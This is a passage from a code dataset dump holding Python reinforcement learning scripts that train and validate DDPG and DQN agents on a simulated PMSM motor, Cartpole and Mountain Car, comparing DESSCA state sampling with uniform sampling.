observation_input), outputs=x)\n\n # Define a memory buffer for the agent, allows to learn from past experiences\n memory = SequentialMemory(\n limit=0,\n window_length=window_length\n )\n\n # Create a random process for exploration during training\n # this is essential for the DDPG algorithm\n random_process = OrnsteinUhlenbeckProcess(\n theta=10,\n mu=0.0,\n sigma=0,\n dt=env.physical_system.tau,\n sigma_min=0,\n n_steps_annealing=290000,\n size=2\n )\n\n # Create the agent for DDPG learning\n agent = DDPGAgent(\n # Pass the previously defined characteristics\n nb_actions=nb_actions,\n actor=actor,\n critic=critic,\n critic_action_input=action_input,\n memory=memory,\n random_process=random_process,\n # Define the overall training parameters\n nb_steps_warmup_actor=2000,\n nb_steps_warmup_critic=1000,\n target_model_update=0.25,\n gamma=0.9,\n batch_size=16,\n memory_interval=1\n )\n # Compile the function approximators within the agent (making them ready for training)\n # Note that the DDPG agent uses two function approximators, hence we define two optimizers here\n agent.compile([Adam(lr=5e-6), Adam(lr=5e-4)])\n\n if use_dessca:\n folder_name = \"Dessca\"\n else:\n folder_name = \"Uniform\"\n agent.load_weights(filepath=folder_name +\n \"/\" + folder_name +\n \"_\" + str(agent_idx) +\n \"/\" + folder_name +\n \"_weights.hdf5\"\n )\n\n agent.test(\n env,\n nb_max_start_steps=0,\n nb_max_episode_steps=test_duration,\n nb_episodes=1,\n visualize=False,\n action_repetition=1,\n verbose=2,\n callbacks=[],\n )\n\nif __name__ == '__main__':\n with Pool() as p:\n p.map(test_agent, range(50))\n", "id": "7582885", "language": "Python", "matching_score": 9.465624809265137, "max_stars_count": 5, "path": "Examples/PMSM_CurrentControl/ddpg_pmsm_dqCC_validation.py" }, { "content": "from tensorflow.keras.models import Sequential, Model\nfrom tensorflow.keras.layers import Dense, Flatten, Input, \\\n Concatenate, LeakyReLU\nfrom tensorflow.keras import initializers, regularizers\nimport tensorflow as tf\nfrom tensorflow.keras.optimizers import Adam\nfrom rl.agents import DDPGAgent\nfrom rl.memory import SequentialMemory\nfrom rl.random import OrnsteinUhlenbeckProcess\nfrom gym.wrappers import FlattenObservation\nimport numpy as np\nimport sys\nimport os\nsys.path.append(os.path.abspath(os.path.join('..')))\nimport gym_electric_motor as gem\nfrom gym_electric_motor.reference_generators import MultipleReferenceGenerator, ConstReferenceGenerator, \\\n WienerProcessReferenceGenerator\nfrom gym_electric_motor.visualization import MotorDashboard\nfrom gym_electric_motor.physical_systems import ConstantSpeedLoad\nfrom gym.core import Wrapper\nfrom gym.spaces import Box, Tuple\nimport h5py\nfrom pathlib import Path\nimport os, sys, inspect\nsys.path.append(\"../..\")\nfrom DESSCA import dessca_model\n\nfrom multiprocessing import Pool\n\n\nuse_dessca = False\n\n\n# globals:\ni_n = 230\ni_lim = 270\nU_dc = 350\nr_s = 17.932e-3\npsi_p = 65.65e-3\nl_d = 0.37e-3\nl_q = 1.2e-3\np = 3\nomega_lim = 12e3 * 2 * np.pi / 60\n\nmemory_buffer_size = 50000\n\ndef _ref_pdf(X):\n # states that must be available:\n # i_d, i_q, omega, cos_epsilon, sin_epsilon, u_d-1, u_q-1, i_d^*, i_q^*\n # actual states: i_d, i_q, omega, epsilon, i_d^*, i_q^*\n i_d = X[0] * i_lim\n i_q = X[1] * i_lim\n\n omega = X[2] * omega_lim # box constraints\n #epsilon = X[3] * np.pi # box constraints\n i_d_ref = X[4] * i_lim\n i_q_ref = X[5] * i_lim\n\n # plant\n # i_d\n _i_d_upper = np.less(i_d, np.clip((- psi_p + U_dc / (np.sqrt(3) * p * np.abs(omega))) / l_d, None, 0))\n _i_d_lower = np.greater(i_d, np.clip((- psi_p - U_dc / (np.sqrt(3) * p * np.abs(omega))) / l_d, - i_n, None))\n _i_d_allow = np.logical_and(_i_d_lower, _i_d_upper)\n # i_q\n _i_q_c_max = np.sqrt((U_dc / (l_d * np.sqrt(3) * p * np.abs(omega))) ** 2 - ((l_d * i_d + psi_p) / l_q) ** 2)\n _i_q_upper = np.less(i_q, np.minimum(_i_q_c_max, np.sqrt(np.clip(i_n ** 2 - i_d ** 2, 0, None))))\n _i_q_lower = np.greater(i_q, np.maximum(- _i_q_c_max, -np.sqrt(np.clip(i_n ** 2 - i_d ** 2, 0, None))))\n _i_q_allow = np.logical_and(_i_q_lower, _i_q_upper)\n _plant_allow = np.logical_and(_i_d_allow, _i_q_allow).astype(float)\n\n # reference\n # i_d_ref\n _i_d_upper = np.less(i_d_ref, np.clip((- psi_p + U_dc / (np.sqrt(3) * p * np.abs(omega))) / l_d, None, 0))\n _i_d_lower = np.greater(i_d_ref, np.clip((- psi_p - U_dc / (np.sqrt(3) * p * np.abs(omega))) / l_d, -i_n, None))\n _i_d_ref_allow = np.logical_and(_i_d_lower, _i_d_upper)\n # i_q_ref\n _i_q_c_max = np.sqrt((U_dc / (l_d * np.sqrt(3) * p * np.abs(omega))) ** 2 - ((l_d * i_d_ref + psi_p) / l_q) ** 2)\n _i_q_upper = np.less(i_q_ref, np.minimum(_i_q_c_max, np.sqrt(np.clip(i_n ** 2 - i_d_ref ** 2, 0, None))))\n _i_q_lower = np.greater(i_q_ref, np.maximum(- _i_q_c_max, -np.sqrt(np.clip(i_n ** 2 - i_d_ref ** 2, 0, None))))\n _i_q_ref_allow = np.logical_and(_i_q_lower, _i_q_upper)\n _reference_allow = np.logical_and(_i_d_ref_allow, _i_q_ref_allow)\n\n _state_filter = np.logical_and(_plant_allow, _reference_allow).astype(float)\n\n return _state_filter\n\nclass AppendLastActionWrapper(Wrapper):\n\n def __init__(self, environment, agent_idx):\n super().__init__(environment)\n self.observation_space = Tuple((Box(\n np.concatenate((environment.observation_space[0].low[0:3],\n [-1, -1],\n environment.observation_space[0].low[4:-1],\n environment.action_space.low)),\n np.concatenate((environment.observation_space[0].high[0:3],\n [1, 1],\n environment.observation_space[0].high[4:-1],\n environment.action_space.high))\n ), environment.observation_space[1]))\n\n self.STATE = None\n self.REWARD = []\n self.HISTORY = []\n\n self.episode_count = 0\n self.agent_idx = agent_idx\n if use_dessca:\n self.folder_name = \"Dessca\"\n else:\n self.folder_name = \"Uniform\"\n\n if use_dessca:\n state_constraints = [[-1, 1],\n [-1, 1],\n [-1, 1],\n [-1, 1],\n [-1, 1],\n [-1, 1]]\n self.dessca_model = dessca_model(box_constraints=state_constraints,\n reference_pdf=_ref_pdf,\n state_names=[\"i_d\",\n \"i_q\",\n \"omega\",\n \"epsilon\",\n \"i_d^*\",\n \"i_q^*\"],\n buffer_size=memory_buffer_size)\n\n def step(self, action):\n\n (state, ref), rew, term, info = self.env.step(action)\n state[2] += np.random.normal(0, 0.0001) # measurement noise\n ref[0] += np.random.normal(0, 0.01)\n ref[1] += np.random.normal(0, 0.01)\n state = np.concatenate((state[0:3], [np.cos(state[3] * np.pi), np.sin(state[3] * np.pi)], action))\n\n i_d = state[0]\n i_q = state[1]\n omega = state[2]\n epsilon = np.arctan2(state[4], state[3]) / np.pi\n i_d_ref = ref[0]\n i_q_ref = ref[1]\n r_d = (np.sqrt(np.abs(i_d_ref - i_d) / 2) + ((i_d_ref - i_d) / 2) ** 2) / 2\n r_q = (np.sqrt(np.abs(i_q_ref - i_q) / 2) + ((i_q_ref - i_q) / 2) ** 2) / 2\n\n i_total = np.sqrt(i_d ** 2 + i_q ** 2)\n if i_total > i_n / i_lim: # Danger Zone !\n rew = (1 - (i_total - i_n / i_lim) / (1 - i_n / i_lim)) * (1 - 0.9) - (1 - 0.9)\n else:\n rew = (2 - r_d - r_q) / 2 * (1 - 0.9)\n\n if use_dessca:\n self.dessca_model.update_coverage_pdf(data=np.transpose([i_d, i_q, omega, epsilon, i_d_ref, i_q_ref]))\n\n if term:\n rew = -1\n\n self.STATE.append(np.concatenate((state, ref)).tolist())\n self.REWARD.append(rew)\n\n state[3] *= 0.1\n state[4] *= 0.1\n\n return (state, ref), rew, term, info\n\n def reset(self, **kwargs):\n\n if self.STATE is not None:\n self.HISTORY.append(np.mean(self.REWARD))\n Path(self.folder_name + \"/\" + self.folder_name + \"_\" + str(self.agent_idx)).mkdir(parents=True, exist_ok=True)\n with h5py.File(\n self.folder_name\n + \"/\" + self.folder_name\n + \"_\" + str(self.agent_idx)\n + \"/\" + \"training\"\n + \"_\" + str(self.episode_count)\n + \".hdf5\", \"w\") as f:\n lim = f.create_dataset(\"limits\", data=np.concatenate((self.limits[0:3], [1, 1],\n [self.env.physical_system.limits[7],\n self.env.physical_system.limits[7]],\n self.limits[0:2]\n )))\n obs = f.create_dataset(\"observations\", data=self.STATE)\n rew = f.create_dataset(\"rewards\", data=self.REWARD)\n history = f.create_dataset(\"history\", data=self.HISTORY)\n self.episode_count += 1\n\n state, ref = self.env.reset()\n\n if not use_dessca:\n eps_0 = np.random.uniform(-1, 1) * np.pi\n omega_0 = np.random.uniform(-1, 1) * self.env.physical_system.limits[0]\n psi_p = self.env.physical_system.electrical_motor.motor_parameter[\"psi_p\"]\n l_d = self.env.physical_system.electrical_motor.motor_parameter[\"l_d\"]\n l_q = self.env.physical_system.electrical_motor.motor_parameter[\"l_q\"]\n p = self.env.physical_system.electrical_motor.motor_parameter[\"p\"]\n u_dc = self.env.physical_system.limits[-1]\n dc_link_d = u_dc / (np.sqrt(3) * l_d * np.abs(omega_0 * p))\n i_d_upper = np.clip(- psi_p / l_d + dc_link_d, None, 0)\n i_d_lower = np.clip(- psi_p / l_d - dc_link_d, -i_n, None)\n i_d_0 = np.random.uniform(i_d_lower, i_d_upper)\n i_q_upper = np.clip(np.sqrt((u_dc / (np.sqrt(3) * omega_0 * p * l_q)) ** 2 -\n (l_d / l_q * (i_d_0 + psi_p / l_d)) ** 2), None, np.sqrt(i_n ** 2 - i_d_0 ** 2))\n i_q_lower = np.clip(- i_q_upper, - np.sqrt(i_n ** 2 - i_d_0 ** 2), None)\n i_q_0 = np.random.uniform(i_q_lower, i_q_upper)\n\n i_d_ref = np.random.uniform(i_d_lower, i_d_upper)\n i_q_upper_ref = np.clip(np.sqrt((u_dc / (np.sqrt(3) * omega_0 * p * l_q)) ** 2 -\n (l_d / l_q * (i_d_ref + psi_p / l_d)) ** 2), None, np.sqrt(i_n ** 2 - i_d_ref ** 2))\n i_q_lower_ref = np.clip(- i_q_upper, - np.sqrt(i_n ** 2 - i_d_ref ** 2), None)\n i_q_ref = np.random.uniform(i_q_lower_ref, i_q_upper_ref)\n else:\n # i_d, i_q, omega, epsilon, i_d^*, i_q^*\n dessca_state = self.dessca_model.sample_optimally()\n i_d_0 = dessca_state[0] * self.env.physical_system.limits[2]\n i_q_0 = dessca_state[1] * self.env.physical_system.limits[2]\n omega_0 = dessca_state[2] * self.env.physical_system.limits[0]\n eps_0 = dessca_state[2] * np.pi\n i_d_ref = dessca_state[4] * self.env.physical_system.limits[2]\n i_q_ref = dessca_state[5] * self.env.physical_system.limits[2]\n\n self.env.physical_system._ode_solver.set_initial_value(np.array([omega_0, i_d_0, i_q_0, eps_0]))\n self.env.reference_generator._sub_generators[0]._reference_value = i_d_ref / self.env.physical_system.limits[2]\n self.env.reference_generator._sub_generators[1]._reference_value = i_q_ref / self.env.physical_system.limits[2]\n self.env.physical_system.mechanical_load._omega = omega_0 / self.env.physical_system.limits[0]\n\n state[2] = omega_0 / self.env.physical_system.limits[0]\n state[3] = np.cos(eps_0)\n state[0] = i_d_0 / self.env.physical_system.limits[2]\n state[1] = i_q_0 / self.env.physical_system.limits[2]\n state = np.append(state, np.sin(eps_0))\n ref = [i_d_ref / self.env.physical_system.limits[2], i_q_ref / self.env.physical_system.limits[2]]\n\n state = np.concatenate((state, np.zeros(self.env.action_space.shape)))\n\n # i_d, i_q, omega, cos_epsilon, sin_epsilon, u_d-1, u_q-1, i_d^*, i_q^*\n self.STATE = [np.concatenate((state, ref)).tolist()]\n self.REWARD = []\n\n state[3] *= 0.1\n state[4] *= 0.1\n\n return state, ref\n\n\ndef train_agent(agent_idx):\n tf.config.set_visible_devices([], 'GPU')\n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n os.environ['CUDA_VISIBLE_DEVICES'] = '-1'\n\n d_generator = ConstReferenceGenerator('i_sd', 0)\n q_generator = ConstReferenceGenerator('i_sq', 0)\n rg = MultipleReferenceGenerator([d_generator, q_generator])\n\n motor_parameter = dict(\n r_s=r_s, l_d=l_d, l_q=l_q, psi_p=psi_p, p=p, j_rotor=0.06\n )\n\n limit_values = dict(\n i=i_lim,\n omega=omega_lim,\n u=U_dc,\n )\n\n nominal_values = {key: 0.7 * limit for key, limit in limit_values.items()}\n\n env = gem.make(\n 'PMSMCont-v1',\n load=ConstantSpeedLoad(omega_fixed=1000 * np.pi / 30),\n control_space='dq',\n ode_solver='scipy.solve_ivp', solver_kwargs={},\n reference_generator=rg,\n reward_weights={'i_sq': 0.5, 'i_sd': 0.5},\n reward_power=0.5,\n observed_states=['i_sd', 'i_sq'],\n tau=1e-4,\n dead_time=True,\n u_sup=U_dc,\n motor_parameter=motor_parameter,\n limit_values=limit_values,\n nominal_values=nominal_values,\n state_filter=['i_sd', 'i_sq', 'omega', 'epsilon'],\n #visualization=MotorDashboard(plots=['i_sd', 'i_sq', 'action_0', 'action_1', 'mean_reward']), visu_period=1,\n )\n env = AppendLastActionWrapper(env, agent_idx=agent_idx)\n env = FlattenObservation(env)\n\n nb_actions = env.action_space.shape[0]\n\n window_length = 1\n actor = Sequential()\n actor.add(Flatten(input_shape=(window_length,) + env.observation_space.shape))\n actor.add(Dense(64, activation='linear'))\n actor.add(LeakyReLU(alpha=0.1))\n actor.add(Dense(64, activation='linear'))\n actor.add(LeakyReLU(alpha=0.1))\n actor.add(Dense(64, activation='linear'))\n actor.add(LeakyReLU(alpha=0.1))\n # The network output fits the action space of the env\n actor.add(Dense(nb_actions,\n activation='tanh',\n #kernel_regularizer=regularizers.l2(1e-2))\n ))\n\n # Define another artificial neural network to be used within the agent as critic\n # note that this network has two inputs\n action_input = Input(shape=(nb_actions,), name='action_input')\n observation_input = Input(shape=(window_length,) + env.observation_space.shape, name='observation_input')\n # (using keras functional API)\n flattened_observation = Flatten()(observation_input)\n x = Concatenate()([action_input, flattened_observation])\n x = Dense(128, activation='linear')(x)\n x = LeakyReLU(alpha=0.1)(x)\n x = Dense(128, activation='linear')(x)\n x = LeakyReLU(alpha=0.1)(x)\n x = Dense(128, activation='linear')(x)\n x = LeakyReLU(alpha=0.1)(x)\n x = Dense(128, activation='linear')(x)\n x = LeakyReLU(alpha=0.1)(x)\n x = Dense(1, activation='linear')(x)\n critic = Model(inputs=(action_input, observation_input), outputs=x)\n print(critic.summary())\n\n # Define a memory buffer for the agent, allows to learn from past experiences\n memory = SequentialMemory(\n limit=memory_buffer_size,\n window_length=window_length\n )\n\n # Create a random process for exploration during training\n # this is essential for the DDPG algorithm\n random_process = OrnsteinUhlenbeckProcess(\n theta=10,\n mu=0.0,\n sigma=1,\n dt=env.physical_system.tau,\n sigma_min=0.01,\n n_steps_annealing=290000,\n size=2\n )\n\n # Create the agent for DDPG learning\n agent = DDPGAgent(\n # Pass the previously defined characteristics\n nb_actions=nb_actions,\n actor=actor,\n critic=critic,\n critic_action_input=action_input,\n memory=memory,\n random_process=random_process,\n\n # Define the overall training parameters\n nb_steps_warmup_actor=2000,\n nb_steps_warmup_critic=1000,\n target_model_update=0.25,\n gamma=0.9,\n batch_size=16,\n memory_interval=1\n )\n\n # Compile the function approximators within the agent (making them ready for training)\n # Note that the DDPG agent uses two function approximators, hence we define two optimizers here\n agent.compile([Adam(lr=5e-6), Adam(lr=5e-4)])\n\n # Start training for 75 k simulation steps\n agent.fit(\n env,\n nb_steps=400000,\n nb_max_start_steps=0,\n nb_max_episode_steps=100,\n visualize=True,\n action_repetition=1,\n verbose=2,\n log_interval=10000,\n callbacks=[],\n )\n\n if use_dessca:\n folder_name = \"Dessca\"\n else:\n folder_name = \"Uniform\"\n\n agent.save_weights(filepath=folder_name +\n \"/\" + folder_name +\n \"_\" + str(agent_idx) +\n \"/\" + folder_name +\n \"_weights.hdf5\",\n overwrite=True)\n\n\nif __name__ == '__main__':\n with Pool() as p:\n p.map(train_agent, range(50))", "id": "11937040", "language": "Python", "matching_score": 3.5067896842956543, "max_stars_count": 5, "path": "Examples/PMSM_CurrentControl/ddpg_pmsm_dqCC_training.py" }, { "content": "from gym.core import Wrapper\nimport numpy as np\nimport json\n\nfrom Custom_Cartpole import CartPoleEnv\n\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Flatten, LeakyReLU\nfrom tensorflow.keras.optimizers import Adam\nfrom rl.agents import DQNAgent\nfrom rl.memory import SequentialMemory\nfrom rl.policy import LinearAnnealedPolicy, EpsGreedyQPolicy\n\nimport sys\nsys.path.append(\"../..\")\nfrom DESSCA import dessca_model\n\nstate_constraints = [[ - 1.0, 1.0], #+- 2.4\n [ -7, 7],\n [ -np.pi, +np.pi],\n [ -10, 10]]\n\nstate_low = np.array(state_constraints)[:, 0]\nstate_high = np.array(state_constraints)[:, 1]\n\ndelta_v = 0.15\ntau = 0.02\ninitial_states = []\nfor _ in range(1000):\n while True:\n state = np.random.uniform(low=state_low, high=state_high)\n if np.abs(state[3]) < 1:\n if state[1] > 0:\n if np.sqrt((1 - state[0]) / tau * delta_v) > state[1]:\n break\n if state[1] < 0:\n if -np.sqrt((1 + state[0]) / tau * delta_v) < state[1]:\n break\n initial_states.append(state)\ninitial_states = np.transpose(np.array(initial_states))\ndata = {\"initial_states\": initial_states.tolist()}\n#\n# with open(\"ValidationInits.json\", 'w') as json_file:\n# data = json.dump(data, json_file)\n#\n# sys.exit()\n\nuse_dessca = True\n\nwith open(\"ValidationInits.json\", 'r') as json_file:\n data = json.load(json_file)\n initial_states = np.copy(data[\"initial_states\"])\n\n\nclass cartpole_reset_wrapper(Wrapper):\n\n def _ref_pdf(self, X):\n x0 = X[0]\n x1 = X[1]\n x2 = X[2]\n x3 = X[3]\n\n init_pdf = np.logical_and(\n np.greater(np.minimum(np.sqrt((self.state_high[0] - x0) / self.env.tau * self.delta_v), self.state_high[1]), x1),\n np.less(np.maximum(-np.sqrt((self.state_high[0] + x0) / self.env.tau * self.delta_v), -self.state_high[1]), x1),\n np.less(np.abs(x3), 1)\n ).astype(float)\n\n return init_pdf\n\n def __init__(self, environment, try_nb):\n super().__init__(environment)\n\n self.try_nb = try_nb\n self.state_saver = None\n self._episode_reward_list = []\n\n state_constraints = [[ - 1.0, 1.0], #+- 2.4\n [ -7, 7],\n [ -np.pi, +np.pi],\n [ -10, 10]]\n\n self.state_low = np.array(state_constraints)[:, 0]\n self.state_high = np.array(state_constraints)[:, 1]\n\n if use_dessca:\n self.dessca_model = dessca_model(box_constraints=state_constraints,\n reference_pdf=self._ref_pdf,\n state_names=[\"x\", \"v\", \"epsilon\", \"omega\"])\n\n self.delta_v = 0.15\n\n self._init_state_iterator = 0\n\n def step(self, action):\n state, reward, done, _ = self.env.step(action) # state here is observation\n\n self.state_saver = np.append(self.state_saver, np.reshape(self.env.state, (4, 1)), axis=1)\n self._reward_list.append(reward)\n self.k += 1\n\n if self.k == 200:\n done = True\n\n if np.any(np.abs(self.env.state) > self.state_high):\n reward = -1\n done = True\n\n norm_state = [(self.env.state[0] - self.state_low[0]) / (self.state_high[0] - self.state_low[0]) * 2 - 1,\n (self.env.state[1] - self.state_low[1]) / (self.state_high[1] - self.state_low[1]) * 2 - 1,\n np.cos(self.env.state[2]),\n np.sin(self.env.state[2]),\n (self.env.state[3] - self.state_low[3]) / (self.state_high[3] - self.state_low[3]) * 2 - 1,\n ]\n\n return norm_state, reward, done, _\n\n def reset(self, **kwargs):\n\n if hasattr(self, \"_reward_list\"):\n self._episode_reward_list.append(self._reward_list)\n self._reward_list = []\n\n self.k = 0\n\n self.env.reset()\n self.env.state = initial_states[:, self._init_state_iterator]\n self._init_state_iterator += 1\n\n if self.state_saver is None:\n self.state_saver = np.reshape(np.copy(self.env.state), (4, 1))\n else:\n self.state_saver = np.append(self.state_saver, np.reshape(self.env.state, (4, 1)), axis=1)\n\n\n norm_state = [(self.env.state[0] - self.state_low[0]) / (self.state_high[0] - self.state_low[0]) * 2 - 1,\n (self.env.state[1] - self.state_low[1]) / (self.state_high[1] - self.state_low[1]) * 2 - 1,\n np.cos(self.env.state[2]),\n np.sin(self.env.state[2]),\n (self.env.state[3] - self.state_low[3]) / (self.state_high[3] - self.state_low[3]) * 2 - 1,\n ]\n\n return norm_state\n\n def close(self):\n if hasattr(self, \"_reward_list\"):\n self._episode_reward_list.append(self._reward_list)\n self.env.close()\n\n save_dict = {\n \"state_history\": self.state_saver.tolist(),\n \"reward_history\": self._episode_reward_list\n }\n if use_dessca:\n experiment = \"Dessca\"\n else:\n experiment = \"Uniform\"\n\n with open('./' + experiment + \"/\" + experiment + '_Validation_' + str(self.try_nb) + '.json', 'w') as json_file:\n json.dump(save_dict, json_file)\n\nfor i in range(50):\n\n env = CartPoleEnv()\n env = cartpole_reset_wrapper(env, i)\n\n obs_space = (env.observation_space.shape[0] + 1,)\n\n nb_actions = env.action_space.n\n model = Sequential()\n model.add(Flatten(input_shape=(1,) + obs_space))\n model.add(Dense(200, activation='linear'))\n model.add(LeakyReLU(alpha=0.1))\n model.add(Dense(200, activation='linear'))\n model.add(LeakyReLU(alpha=0.1))\n model.add(Dense(200, activation='linear'))\n model.add(LeakyReLU(alpha=0.1))\n model.add(Dense(nb_actions, activation='linear', ))\n\n policy = LinearAnnealedPolicy(EpsGreedyQPolicy(eps=0.1),\n attr='eps',\n value_max=0.0,\n value_min=0.01,\n value_test=0,\n nb_steps=25000)\n\n memory = SequentialMemory(\n limit=5000,\n window_length=1\n )\n\n agent = DQNAgent(model=model,\n nb_actions=nb_actions,\n gamma=0.99,\n batch_size=16,\n memory=memory,\n memory_interval=1,\n policy=policy,\n train_interval=1,\n target_model_update=100,\n enable_double_dqn=False)\n\n agent.compile(Adam(lr=1e-4))\n\n if use_dessca:\n experiment = \"Dessca\"\n else:\n experiment = \"Uniform\"\n\n agent.load_weights(filepath=\"./\" + experiment + \"/\" + experiment + \"_weights_\" + str(i) + \".hdf5\")\n\n history = agent.test(env,\n nb_episodes=1000,\n action_repetition=1,\n verbose=0,\n visualize=False,\n nb_max_episode_steps=500)\n\n print(f\"Done with Agent {i} / 49\")\n env.close()", "id": "2038279", "language": "Python", "matching_score": 7.139450550079346, "max_stars_count": 5, "path": "Examples/Cartpole/Cartpole_validation.py" }, { "content": "from gym.core import Wrapper\nimport numpy as np\nimport json\n\nfrom Custom_Cartpole import CartPoleEnv\n\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Flatten, LeakyReLU\nfrom tensorflow.keras.optimizers import Adam\nfrom rl.agents import DQNAgent\nfrom rl.memory import SequentialMemory\nfrom rl.policy import LinearAnnealedPolicy, EpsGreedyQPolicy\n\nfrom multiprocessing import Pool\nimport tensorflow as tf\n\nimport os, sys\nsys.path.append(\"../..\")\nfrom DESSCA import dessca_model\n\n\nuse_dessca = False\n\n\nclass cartpole_reset_wrapper(Wrapper):\n\n def _ref_pdf(self, X):\n x0 = X[0]\n x1 = X[1]\n x2 = X[2]\n x3 = X[3]\n init_pdf = np.logical_and(\n np.logical_and(\n np.greater(\n np.minimum(np.sqrt((self.state_high[0] - x0) / self.env.tau * self.delta_v), self.state_high[1]),\n x1),\n np.less(\n np.maximum(-np.sqrt((self.state_high[0] + x0) / self.env.tau * self.delta_v), -self.state_high[1]),\n x1),\n ),\n np.less(np.abs(x3), 1)\n ).astype(float)\n return init_pdf\n\n def __init__(self, environment, try_nb):\n super().__init__(environment)\n\n self.try_nb = try_nb\n self.state_saver = None\n self._episode_reward_list = []\n\n\n state_constraints = [[ - 1, 1], # +- 2.4\n [ -7, 7],\n [ -np.pi, +np.pi],\n [ -10, 10]]\n\n self.state_low = np.array(state_constraints)[:, 0]\n self.state_high = np.array(state_constraints)[:, 1]\n\n if use_dessca:\n self.dessca_model = dessca_model(box_constraints=state_constraints,\n reference_pdf=self._ref_pdf,\n state_names=[\"x\", \"v\", \"epsilon\", \"omega\"])\n\n self.delta_v = 0.15\n\n def step(self, action):\n state, reward, done, _ = self.env.step(action) # state here is observation\n\n self.state_saver = np.append(self.state_saver, np.reshape(self.env.state, (4, 1)), axis=1)\n self._reward_list.append(reward)\n self.k += 1\n\n if use_dessca:\n self.dessca_model.update_coverage_pdf(data=np.transpose([state]))\n\n done = False\n if np.any(np.abs(self.env.state) > self.state_high):\n reward = -1\n done = True\n\n norm_state = [(self.env.state[0] - self.state_low[0]) / (self.state_high[0] - self.state_low[0]) * 2 - 1,\n (self.env.state[1] - self.state_low[1]) / (self.state_high[1] - self.state_low[1]) * 2 - 1,\n np.cos(self.env.state[2]),\n np.sin(self.env.state[2]),\n (self.env.state[3] - self.state_low[3]) / (self.state_high[3] - self.state_low[3]) * 2 - 1,\n ]\n\n return norm_state, reward, done, _\n\n def reset(self, **kwargs):\n\n if hasattr(self, \"_reward_list\"):\n self._episode_reward_list.append(self._reward_list)\n self._reward_list = []\n\n self.k = 0\n\n self.env.reset()\n if use_dessca:\n self.env.state = self.dessca_model.sample_optimally()\n else:\n while True:\n self.env.state = np.random.uniform(low=self.state_low,\n high=self.state_high)\n if np.abs(self.env.state[3]) < 1:\n if self.env.state[1] > 0:\n if np.sqrt((self.state_high[0] - self.env.state[0]) / self.env.tau * self.delta_v) > self.env.state[1]:\n break\n if self.env.state[1] < 0:\n if -np.sqrt((self.state_high[0] + self.env.state[0]) / self.env.tau * self.delta_v) < self.env.state[1]:\n break\n\n if self.state_saver is None:\n self.state_saver = np.reshape(np.copy(self.env.state), (4, 1))\n else:\n self.state_saver = np.append(self.state_saver, np.reshape(self.env.state, (4, 1)), axis=1)\n\n\n norm_state = [(self.env.state[0] - self.state_low[0]) / (self.state_high[0] - self.state_low[0]) * 2 - 1,\n (self.env.state[1] - self.state_low[1]) / (self.state_high[1] - self.state_low[1]) * 2 - 1,\n np.cos(self.env.state[2]),\n np.sin(self.env.state[2]),\n (self.env.state[3] - self.state_low[3]) / (self.state_high[3] - self.state_low[3]) * 2 - 1,\n ]\n\n return norm_state\n\n def close(self):\n if hasattr(self, \"_reward_list\"):\n self._episode_reward_list.append(self._reward_list)\n self.env.close()\n\n save_dict = {\n \"state_history\": self.state_saver.tolist(),\n \"reward_history\": self._episode_reward_list\n }\n if use_dessca:\n experiment = \"Dessca\"\n else:\n experiment = \"Uniform\"\n\n with open('./' + experiment + \"/\" + experiment + '_' + str(self.try_nb) + '.json', 'w') as json_file:\n json.dump(save_dict, json_file)\n\n\ndef train_agent(idx):\n tf.config.set_visible_devices([], 'GPU')\n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n os.environ['CUDA_VISIBLE_DEVICES'] = '-1'\n\n env = CartPoleEnv()\n env = cartpole_reset_wrapper(env, idx)\n\n obs_space = (env.observation_space.shape[0] + 1,)\n\n nb_actions = env.action_space.n\n model = Sequential()\n model.add(Flatten(input_shape=(1,) + obs_space))\n model.add(Dense(200, activation='linear'))\n model.add(LeakyReLU(alpha=0.1))\n model.add(Dense(200, activation='linear'))\n model.add(LeakyReLU(alpha=0.1))\n model.add(Dense(200, activation='linear'))\n model.add(LeakyReLU(alpha=0.1))\n model.add(Dense(nb_actions, activation='linear', ))\n\n policy = LinearAnnealedPolicy(EpsGreedyQPolicy(eps=0.5),\n attr='eps',\n value_max=0.5,\n value_min=0.01,\n value_test=0,\n nb_steps=40000)\n\n memory = SequentialMemory(\n limit=10000,\n window_length=1\n )\n\n agent = DQNAgent(model=model,\n nb_actions=nb_actions,\n gamma=0.99,\n batch_size=32,\n memory=memory,\n memory_interval=1,\n policy=policy,\n train_interval=1,\n target_model_update=0.001,\n enable_double_dqn=False)\n\n agent.compile(Adam(lr=1e-3))\n\n agent.fit(\n env,\n nb_steps=100000,\n nb_max_start_steps=0,\n nb_max_episode_steps=200,\n visualize=False,\n action_repetition=1,\n verbose=2,\n log_interval=10000,\n callbacks=[],\n )\n\n if use_dessca:\n experiment = \"Dessca\"\n else:\n experiment = \"Uniform\"\n\n agent.save_weights(filepath=\"./\" + experiment + \"/\" + experiment + \"_weights_\" + str(idx) + \".hdf5\", overwrite=True)\n env.close()\n\n\nif __name__ == '__main__':\n with Pool() as p:\n p.map(train_agent, range(50))\n", "id": "8757905", "language": "Python", "matching_score": 5.343380928039551, "max_stars_count": 5, "path": "Examples/Cartpole/Cartpole_training.py" }, { "content": "import gym\nfrom gym.core import Wrapper\nimport numpy as np\nimport json\n\nimport tensorflow as tf\nfrom tensorflow.keras.models import Sequential, Model\nfrom tensorflow.keras.layers import Dense, Flatten, Input, Concatenate, Lambda\nfrom tensorflow.keras import initializers, regularizers\nfrom tensorflow.keras.optimizers import Adam\nfrom rl.agents import DDPGAgent\nfrom rl.memory import SequentialMemory\nfrom rl.random import OrnsteinUhlenbeckProcess\n\nimport sys\nsys.path.append(\"../..\")\nfrom DESSCA import dessca_model\n\n\nuse_dessca = True\n\n\nclass mountain_car_reset_wrapper(Wrapper):\n\n def __init__(self, environment, try_nb):\n super().__init__(environment)\n\n self.try_nb = try_nb\n self.state_saver = None\n self._episode_reward_list = []\n\n if use_dessca:\n self.dessca_model = dessca_model(box_constraints=[[ -1.2, 0.6],\n [-0.07, 0.07]],\n state_names=[\"position\", \"velocity\"],\n )\n\n def step(self, action):\n state, reward, done, _ = self.env.step(action)\n self.state_saver = np.append(self.state_saver, np.reshape(self.env.env.state, (2, 1)), axis=1)\n self._reward_list.append(reward)\n self.k += 1\n\n if use_dessca:\n self.dessca_model.update_coverage_pdf(data=np.transpose([state]))\n\n if self.k == 200:\n done = True\n\n norm_state = (self.env.env.state - self.env.env.low_state) / (self.env.env.high_state - self.env.env.low_state)\n 